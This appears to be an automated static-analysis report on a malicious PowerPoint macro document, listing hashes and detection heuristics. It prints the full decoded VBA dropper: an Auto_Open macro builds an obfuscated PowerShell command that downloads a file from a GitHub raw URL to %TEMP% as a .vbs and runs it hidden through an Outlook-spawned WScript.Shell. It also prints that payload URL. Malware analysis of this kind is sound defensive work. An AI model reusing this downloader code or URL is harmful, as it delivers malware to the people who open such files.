Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 789363ee734905f2…

MALICIOUS

Office (OOXML)

9.2 KB First seen: 2020-10-09
MD5: 750654519ae8b0d647c459ac4dbb7099 SHA-1: 544c261ebc2351e467dc3eb9296635360f25343f SHA-256: 789363ee734905f2fa5ac990dab632ae9cbb9dc3bf673562cf67b400dd7e9592
370 Risk Score

Heuristics 10

  • VBA project inside OOXML medium 8 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        objvzrmrij.CreateObject("WScript.Shell").Run hrekxd, 0
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
        objvzrmrij.CreateObject("WScript.Shell").Run hrekxd, 0
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Sub Auto_Open()
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        objvzrmrij.CreateObject("WScript.Shell").Run hrekxd, 0
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set objvzrmrij = GetObject("new:" & OUTLOOK)
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    fnaggmjylhu = "cmd.exe /c" & "CmD cmraxlq" & " cmd " & "/r" & _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://raw.githubusercontent.com/farao15/jj/master/fina.jpg��� Referenced by macro
    • https://raw.githubusercontent.com/farao15/jj/master/fina.jpg�Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1276 bytes
SHA-256: e59c0ecd34ee040c2101626f9d35b2d0ee7ae24dc6d0ea9b53365a885d3b7938
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Módulo1"
Sub Auto_Open()
rQQhFuWy
End Sub


Public Sub rQQhFuWy()

On Error Resume Next






  

  Dim lll As String
  lll = "c"
  

a = Left("EHjsjIDMxu LhMLhJOHi YHHhhfBpzt", 1)
b = Left("PHjsjIDMxu LhMLhJOHi YHHhhfBpzt", 1)
'Right function
c = Left("OHjsjIDMxu LhMLhJOHi YHHhhfBpzt", 1)
'Mid function
q = Mid("EHjsjIDMxu LhMLhJOHi YHHhhfBpzt", 1, 11)
'Split function
d = Split("EHjsjIDMxu LhMLhJOHi YHHhhfBpzt", " ")
For Each wrd In d
strg = strg & wrd & ", "
Next



fnaggmjylhu = "cmd.exe /c" & "CmD cmraxlq" & " cmd " & "/r" & _
b & c & "wershell " & "(NEw-objE" & lll & "t " & "system.net.wEBclIenT).DownLoAdfIlE" & "( ”https://raw.githubusercontent.com/farao15/jj/master/fina.jpg” , ”$ENv:TEMP\qawsplsqfr.vbs” ) ; stARt-PRoCESs ”$ENv:TEMP\qawsplsqfr.vbs”"


    If LYSC = 0 Then
641:
       vzrmrij (fnaggmjylhu)
    Else
        
    End If




End Sub






Sub vzrmrij(hrekxd As String)
    Const OUTLOOK = _
    "{0006F03A-0000-0000-C000-000000000046}"
    Set objvzrmrij = GetObject("new:" & OUTLOOK)
    objvzrmrij.CreateObject("WScript.Shell").Run hrekxd, 0
End Sub


Function SjVht(ByVal SahaAFUTvE As String, ByVal EdTUWuwZhZ As Integer)

End Function
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 19456 bytes
SHA-256: d10a2b1cf229ab244a3d7fe58a08f17ccaeacfc25439147b3aa09f1cb107ba30

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